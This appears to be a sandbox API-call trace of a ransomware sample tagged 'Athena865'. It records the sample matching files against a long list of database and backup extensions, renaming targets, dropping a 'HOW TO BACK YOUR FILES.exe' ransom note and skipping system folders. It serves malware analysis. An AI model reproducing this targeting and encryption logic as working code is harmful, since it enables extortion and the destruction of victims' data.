lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0036.236] lstrlenW (lpString="pdb") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0036.237] lstrlenW (lpString="pdm") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0036.237] lstrlenW (lpString="pnz") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0036.237] lstrlenW (lpString="qry") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0036.237] lstrlenW (lpString="qvd") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0036.237] lstrlenW (lpString="rbf") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0036.237] lstrlenW (lpString="rctd") returned 4 [0036.237] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0036.237] lstrlenW (lpString="rod") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0036.237] lstrlenW (lpString="rodx") returned 4 [0036.237] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0036.237] lstrlenW (lpString="rpd") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0036.237] lstrlenW (lpString="rsd") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0036.237] lstrlenW (lpString="sas7bdat") returned 8 [0036.237] lstrcmpiW (lpString1="stem.exe", lpString2="sas7bdat") returned 1 [0036.237] lstrlenW (lpString="sbf") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0036.237] lstrlenW (lpString="scx") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0036.237] lstrlenW (lpString="sdb") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0036.237] lstrlenW (lpString="sdc") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0036.237] lstrlenW (lpString="sdf") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0036.237] lstrlenW (lpString="sis") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0036.237] lstrlenW (lpString="spq") returned 3 [0036.237] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0036.237] lstrlenW (lpString="te") returned 2 [0036.237] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0036.237] lstrlenW (lpString="teacher") returned 7 [0036.238] lstrcmpiW (lpString1="tem.exe", lpString2="teacher") returned 1 [0036.238] lstrlenW (lpString="tmd") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0036.238] lstrlenW (lpString="tps") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0036.238] lstrlenW (lpString="trc") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0036.238] lstrlenW (lpString="trc") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0036.238] lstrlenW (lpString="trm") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0036.238] lstrlenW (lpString="udb") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0036.238] lstrlenW (lpString="udl") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0036.238] lstrlenW (lpString="usr") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0036.238] lstrlenW (lpString="v12") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0036.238] lstrlenW (lpString="vis") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0036.238] lstrlenW (lpString="vpd") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0036.238] lstrlenW (lpString="vvv") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0036.238] lstrlenW (lpString="wdb") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0036.238] lstrlenW (lpString="wmdb") returned 4 [0036.238] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0036.238] lstrlenW (lpString="wrk") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0036.238] lstrlenW (lpString="xdb") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0036.238] lstrlenW (lpString="xld") returned 3 [0036.238] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0036.238] lstrlenW (lpString="xmlff") returned 5 [0036.238] lstrcmpiW (lpString1="m.exe", lpString2="xmlff") returned -1 [0036.238] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\flexiblepatiostem.exe.Athena865") returned 61 [0036.238] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\flexiblepatiostem.exe" (normalized: "c:\\program files\\common files\\flexiblepatiostem.exe"), lpNewFileName="C:\\Program Files\\Common Files\\flexiblepatiostem.exe.Athena865" (normalized: "c:\\program files\\common files\\flexiblepatiostem.exe.athena865"), dwFlags=0x1) returned 1 [0036.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\flexiblepatiostem.exe.Athena865" (normalized: "c:\\program files\\common files\\flexiblepatiostem.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0036.240] GetLastError () returned 0x20 [0036.240] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\flexiblepatiostem.exe CreateFile error 32\r\n") returned 81 [0036.240] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\flexiblepatiostem.exe CreateFile error 32\r\n") returned 81 [0036.240] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0036.240] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1490 [0036.240] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x51, lpOverlapped=0x0) returned 1 [0036.240] CloseHandle (hObject=0x154) returned 1 [0036.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\flexiblepatiostem.exe.Athena865" (normalized: "c:\\program files\\common files\\flexiblepatiostem.exe.athena865"), lpNewFileName="C:\\Program Files\\Common Files\\flexiblepatiostem.exe" (normalized: "c:\\program files\\common files\\flexiblepatiostem.exe"), dwFlags=0x1) returned 1 [0036.242] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0036.242] CloseHandle (hObject=0x0) returned 0 [0036.242] CloseHandle (hObject=0xffffffff) returned 0 [0036.242] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3cda60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc3cda60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0036.242] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0036.242] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2=".") returned 1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2="..") returned 1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2="windows") returned -1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2="bootmgr") returned 1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2="temp") returned -1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2="pagefile.sys") returned -1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2="boot") returned 1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2="ids.txt") returned 1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2="ntuser.dat") returned -1 [0036.242] lstrcmpiW (lpString1="Microsoft Shared", lpString2="perflogs") returned -1 [0036.243] lstrcmpiW (lpString1="Microsoft Shared", lpString2="MSBuild") returned -1 [0036.243] lstrlenW (lpString="Microsoft Shared") returned 16 [0036.243] lstrcpyW (in: lpString1=0x241e884, lpString2="Microsoft Shared" | out: lpString1="Microsoft Shared") returned="Microsoft Shared" [0036.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f6a0 [0036.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51b9b0 [0036.243] lstrcatW (in: lpString1="Microsoft Shared", lpString2="\\" | out: lpString1="Microsoft Shared\\") returned="Microsoft Shared\\" [0036.243] lstrcatW (in: lpString1="Microsoft Shared\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Shared\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Shared\\HOW TO BACK YOUR FILES.exe" [0036.243] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.245] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd250380, ftCreationTime.dwHighDateTime=0x1d508b5, ftLastAccessTime.dwLowDateTime=0x6e026510, ftLastAccessTime.dwHighDateTime=0x1d4f152, ftLastWriteTime.dwLowDateTime=0x6e026510, ftLastWriteTime.dwHighDateTime=0x1d4f152, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="server tutorial murray.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2=".") returned 1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="..") returned 1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="windows") returned -1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="bootmgr") returned 1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="temp") returned -1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="pagefile.sys") returned 1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="boot") returned 1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="ids.txt") returned 1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="ntuser.dat") returned 1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="perflogs") returned 1 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2="MSBuild") returned 1 [0036.246] lstrlenW (lpString="server tutorial murray.exe") returned 26 [0036.246] lstrcpyW (in: lpString1=0x241e884, lpString2="server tutorial murray.exe" | out: lpString1="server tutorial murray.exe") returned="server tutorial murray.exe" [0036.246] lstrlenW (lpString="server tutorial murray.exe") returned 26 [0036.246] lstrlenW (lpString="Athena865") returned 9 [0036.246] lstrcmpiW (lpString1="urray.exe", lpString2="Athena865") returned 1 [0036.246] lstrlenW (lpString=".dll") returned 4 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2=".dll") returned 1 [0036.246] lstrlenW (lpString=".lnk") returned 4 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2=".lnk") returned 1 [0036.246] lstrlenW (lpString=".ini") returned 4 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2=".ini") returned 1 [0036.246] lstrlenW (lpString=".sys") returned 4 [0036.246] lstrcmpiW (lpString1="server tutorial murray.exe", lpString2=".sys") returned 1 [0036.246] lstrlenW (lpString="server tutorial murray.exe") returned 26 [0036.246] lstrlenW (lpString="bak") returned 3 [0036.246] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0036.246] lstrlenW (lpString="ba_") returned 3 [0036.246] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0036.246] lstrlenW (lpString="dbb") returned 3 [0036.246] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0036.246] lstrlenW (lpString="vmdk") returned 4 [0036.246] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0036.246] lstrlenW (lpString="rar") returned 3 [0036.246] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0036.247] lstrlenW (lpString="zip") returned 3 [0036.247] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0036.247] lstrlenW (lpString="tgz") returned 3 [0036.247] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0036.247] lstrlenW (lpString="vbox") returned 4 [0036.247] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0036.247] lstrlenW (lpString="vdi") returned 3 [0036.247] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0036.247] lstrlenW (lpString="vhd") returned 3 [0036.247] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0036.247] lstrlenW (lpString="vhdx") returned 4 [0036.247] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0036.247] lstrlenW (lpString="avhd") returned 4 [0036.247] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0036.247] lstrlenW (lpString="db") returned 2 [0036.247] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0036.247] lstrlenW (lpString="db2") returned 3 [0036.247] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0036.247] lstrlenW (lpString="db3") returned 3 [0036.247] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0036.247] lstrlenW (lpString="dbf") returned 3 [0036.247] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0036.247] lstrlenW (lpString="mdf") returned 3 [0036.247] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0036.247] lstrlenW (lpString="mdb") returned 3 [0036.247] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0036.247] lstrlenW (lpString="sql") returned 3 [0036.247] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0036.247] lstrlenW (lpString="sqlite") returned 6 [0036.247] lstrcmpiW (lpString1="ay.exe", lpString2="sqlite") returned -1 [0036.247] lstrlenW (lpString="sqlite3") returned 7 [0036.247] lstrcmpiW (lpString1="ray.exe", lpString2="sqlite3") returned -1 [0036.247] lstrlenW (lpString="sqlitedb") returned 8 [0036.247] lstrcmpiW (lpString1="rray.exe", lpString2="sqlitedb") returned -1 [0036.247] lstrlenW (lpString="xml") returned 3 [0036.247] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0036.247] lstrlenW (lpString="$er") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0036.248] lstrlenW (lpString="4dd") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0036.248] lstrlenW (lpString="4dl") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0036.248] lstrlenW (lpString="^^^") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0036.248] lstrlenW (lpString="abs") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0036.248] lstrlenW (lpString="abx") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0036.248] lstrlenW (lpString="accdb") returned 5 [0036.248] lstrcmpiW (lpString1="y.exe", lpString2="accdb") returned 1 [0036.248] lstrlenW (lpString="accdc") returned 5 [0036.248] lstrcmpiW (lpString1="y.exe", lpString2="accdc") returned 1 [0036.248] lstrlenW (lpString="accde") returned 5 [0036.248] lstrcmpiW (lpString1="y.exe", lpString2="accde") returned 1 [0036.248] lstrlenW (lpString="accdr") returned 5 [0036.248] lstrcmpiW (lpString1="y.exe", lpString2="accdr") returned 1 [0036.248] lstrlenW (lpString="accdt") returned 5 [0036.248] lstrcmpiW (lpString1="y.exe", lpString2="accdt") returned 1 [0036.248] lstrlenW (lpString="accdw") returned 5 [0036.248] lstrcmpiW (lpString1="y.exe", lpString2="accdw") returned 1 [0036.248] lstrlenW (lpString="accft") returned 5 [0036.248] lstrcmpiW (lpString1="y.exe", lpString2="accft") returned 1 [0036.248] lstrlenW (lpString="adb") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0036.248] lstrlenW (lpString="adb") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0036.248] lstrlenW (lpString="ade") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0036.248] lstrlenW (lpString="adf") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0036.248] lstrlenW (lpString="adn") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0036.248] lstrlenW (lpString="adp") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0036.248] lstrlenW (lpString="alf") returned 3 [0036.248] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0036.249] lstrlenW (lpString="ask") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0036.249] lstrlenW (lpString="btr") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0036.249] lstrlenW (lpString="cat") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0036.249] lstrlenW (lpString="cdb") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0036.249] lstrlenW (lpString="ckp") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0036.249] lstrlenW (lpString="cma") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0036.249] lstrlenW (lpString="cpd") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0036.249] lstrlenW (lpString="dacpac") returned 6 [0036.249] lstrcmpiW (lpString1="ay.exe", lpString2="dacpac") returned -1 [0036.249] lstrlenW (lpString="dad") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0036.249] lstrlenW (lpString="dadiagrams") returned 10 [0036.249] lstrcmpiW (lpString1="murray.exe", lpString2="dadiagrams") returned 1 [0036.249] lstrlenW (lpString="daschema") returned 8 [0036.249] lstrcmpiW (lpString1="rray.exe", lpString2="daschema") returned 1 [0036.249] lstrlenW (lpString="db-journal") returned 10 [0036.249] lstrcmpiW (lpString1="murray.exe", lpString2="db-journal") returned 1 [0036.249] lstrlenW (lpString="db-shm") returned 6 [0036.249] lstrcmpiW (lpString1="ay.exe", lpString2="db-shm") returned -1 [0036.249] lstrlenW (lpString="db-wal") returned 6 [0036.249] lstrcmpiW (lpString1="ay.exe", lpString2="db-wal") returned -1 [0036.249] lstrlenW (lpString="dbc") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0036.249] lstrlenW (lpString="dbs") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0036.249] lstrlenW (lpString="dbt") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0036.249] lstrlenW (lpString="dbv") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0036.249] lstrlenW (lpString="dbx") returned 3 [0036.249] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0036.249] lstrlenW (lpString="dcb") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0036.250] lstrlenW (lpString="dct") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0036.250] lstrlenW (lpString="dcx") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0036.250] lstrlenW (lpString="ddl") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0036.250] lstrlenW (lpString="dlis") returned 4 [0036.250] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0036.250] lstrlenW (lpString="dp1") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0036.250] lstrlenW (lpString="dqy") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0036.250] lstrlenW (lpString="dsk") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0036.250] lstrlenW (lpString="dsn") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0036.250] lstrlenW (lpString="dtsx") returned 4 [0036.250] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0036.250] lstrlenW (lpString="dxl") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0036.250] lstrlenW (lpString="eco") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0036.250] lstrlenW (lpString="ecx") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0036.250] lstrlenW (lpString="edb") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0036.250] lstrlenW (lpString="epim") returned 4 [0036.250] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0036.250] lstrlenW (lpString="fcd") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0036.250] lstrlenW (lpString="fdb") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0036.250] lstrlenW (lpString="fic") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0036.250] lstrlenW (lpString="flexolibrary") returned 12 [0036.250] lstrcmpiW (lpString1="l murray.exe", lpString2="flexolibrary") returned 1 [0036.250] lstrlenW (lpString="fm5") returned 3 [0036.250] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0036.251] lstrlenW (lpString="fmp") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0036.251] lstrlenW (lpString="fmp12") returned 5 [0036.251] lstrcmpiW (lpString1="y.exe", lpString2="fmp12") returned 1 [0036.251] lstrlenW (lpString="fmpsl") returned 5 [0036.251] lstrcmpiW (lpString1="y.exe", lpString2="fmpsl") returned 1 [0036.251] lstrlenW (lpString="fol") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0036.251] lstrlenW (lpString="fp3") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0036.251] lstrlenW (lpString="fp4") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0036.251] lstrlenW (lpString="fp5") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0036.251] lstrlenW (lpString="fp7") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0036.251] lstrlenW (lpString="fpt") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0036.251] lstrlenW (lpString="frm") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0036.251] lstrlenW (lpString="gdb") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0036.251] lstrlenW (lpString="gdb") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0036.251] lstrlenW (lpString="grdb") returned 4 [0036.251] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0036.251] lstrlenW (lpString="gwi") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0036.251] lstrlenW (lpString="hdb") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0036.251] lstrlenW (lpString="his") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0036.251] lstrlenW (lpString="ib") returned 2 [0036.251] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0036.251] lstrlenW (lpString="idb") returned 3 [0036.251] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0036.251] lstrlenW (lpString="ihx") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0036.252] lstrlenW (lpString="itdb") returned 4 [0036.252] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0036.252] lstrlenW (lpString="itw") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0036.252] lstrlenW (lpString="jet") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0036.252] lstrlenW (lpString="jtx") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0036.252] lstrlenW (lpString="kdb") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0036.252] lstrlenW (lpString="kexi") returned 4 [0036.252] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0036.252] lstrlenW (lpString="kexic") returned 5 [0036.252] lstrcmpiW (lpString1="y.exe", lpString2="kexic") returned 1 [0036.252] lstrlenW (lpString="kexis") returned 5 [0036.252] lstrcmpiW (lpString1="y.exe", lpString2="kexis") returned 1 [0036.252] lstrlenW (lpString="lgc") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0036.252] lstrlenW (lpString="lwx") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0036.252] lstrlenW (lpString="maf") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0036.252] lstrlenW (lpString="maq") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0036.252] lstrlenW (lpString="mar") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0036.252] lstrlenW (lpString="marshal") returned 7 [0036.252] lstrcmpiW (lpString1="ray.exe", lpString2="marshal") returned 1 [0036.252] lstrlenW (lpString="mas") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0036.252] lstrlenW (lpString="mav") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0036.252] lstrlenW (lpString="maw") returned 3 [0036.252] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0036.252] lstrlenW (lpString="mdbhtml") returned 7 [0036.252] lstrcmpiW (lpString1="ray.exe", lpString2="mdbhtml") returned 1 [0036.252] lstrlenW (lpString="mdn") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0036.253] lstrlenW (lpString="mdt") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0036.253] lstrlenW (lpString="mfd") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0036.253] lstrlenW (lpString="mpd") returned 3 [0036.253] 